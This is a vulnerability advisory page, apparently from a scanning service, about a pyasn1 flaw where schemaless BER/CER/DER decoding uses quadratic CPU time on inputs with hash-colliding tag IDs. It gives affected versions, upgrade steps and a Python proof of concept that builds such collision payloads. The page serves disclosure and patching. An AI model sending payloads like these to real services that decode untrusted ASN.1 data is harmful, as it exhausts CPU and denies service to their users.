high · 7.5 Patched

pyasn1 has quadratic CPU use in schemaless BER/CER/DER container decoding

CVE-2026-119194 · GHSA-fm9c-5rcf-2q5p · published 30 Oct 2026

How serious is it

  • Severity: high, CVSS score 7.5 out of 10.
  • No exploit prediction (EPSS) score yet.
  • Not on the CISA list of exploited vulnerabilities.
  • No public exploit in Exploit-DB.

Is your app affected by CVE-2026-119194?

Paste this prompt into Claude Code, Cursor or any AI coding tool: it runs a free Shippable scan of your project and fixes what it finds. Built with Lovable, Bolt or v0? Scan your live app. Or upload your package file.

Who is affected

  • pyasn1 (PyPI) >= 0.3.3, < 0.6.5

How to check

  1. Run pip show pyasn1 in your project to see the installed version, including copies pulled in by other packages.
  2. Or paste your lockfile into the checker: it lists every package with a known vulnerability, this one included.
  3. Or run npx shippable-dev scan localhost:3000 in your project folder. It reads your lockfile and flags this vulnerability along with every other known one.

How to fix

Copies a prompt for Claude Code, Cursor or Codex: it checks your lockfiles for this and upgrades it.
  1. Upgrade pyasn1 to 0.6.5 or later, commit the lockfile and redeploy.
  2. If a vulnerable version was live, check your logs and rotate the secrets that server could read.

The advisory

### Summary When an application decodes attacker-controlled BER, CER, or DER data without an ASN.1 schema, a container with many distinct long tag IDs can cause quadratic CPU use. Repeated inputs can exhaust CPU and reduce service availability. ### Details ConstructedPayloadDecoderBase._decodeComponentsSchemaless inserts every decoded component’s TagSet into a growing set, although it only needs to distinguish one tag set from two or more. Attacker-chosen tag IDs can have colliding TagSet hashes, making each later insertion compare against an increasing number of earlier tags. This path is present in v0.6.4 and is inherited by the CER and DER decoders. The proposed fix stops growing the classification set after it contains two distinct tag sets, while retaining every decoded component and its order. On v0.6.4 with CPython 3.12.10, increasing the collision input from 3,200 to 6,400 components raised decode CPU time from 0.438 to 1.747 seconds; a comparable control rose from 0.031 to 0.065 seconds. Both inputs decoded successfully with the expected values and an empty remainder. ### Proof of concept Run this outside the repository checkout in a fresh Python 3.12 environment with pyasn1==0.6.4 installed: ```python import sys import time from pyasn1.codec.ber import decoder from pyasn1.type import univ def enc_tag(tag_id): groups = [tag_id & 0x7f] tag_id >>= 7 while tag_id: groups.append((tag_id & 0x7f) | 0x80) tag_id >>= 7 return b'\xbf' + bytes(reversed(groups)) def payload(tag_ids): body = b''.join(enc_tag(tag_id) + b'\x03\x04\x01A' for tag_id in tag_ids) length = len(body).to_bytes((len(body).bit_length() + 7) // 8, 'big') return b'\x30' + bytes([0x80 | len(length)]) + length + body for count in (3200, 6400): cases = ( ("collision", [32 + i * sys.hash_info.modulus for i in range(count)]), ("control", [(1 << 70) + i for i in range(count)]), ) for name, tag_ids in cases: wire = payload(tag_ids) start = time.process_time() value, remainder = decoder.decode(wire) cpu_seconds = time.process_time() - start assert type(value) is univ.Sequence assert len(value) == count and remainder == b'' for position, tag_id in enumerate(tag_ids): component = value.getComponentByPosition(position) assert component.asOctets() == b'A' assert component.tagSet[-1].tagId == tag_id print(count, name, len(wire), round(cpu_seconds, 3)) ``` ### Impact Applications that pass attacker-controlled bytes to schemaless BER, CER, or DER decoding can spend disproportionate CPU time on a relatively small, valid input. The demonstrated impact is availability; no confidentiality or integrity impact was observed.

Check your whole app

Dependencies are only half of it. Free and read-only: before you push, run npx shippable-dev scan localhost:3000 in your project folder, no account needed. For your live app, you prove it's yours with a one-line tag first.

References

Merged from GitHub Advisory Database, OSV. Last updated 31 Oct 2026. All vulnerabilities · RSS · JSON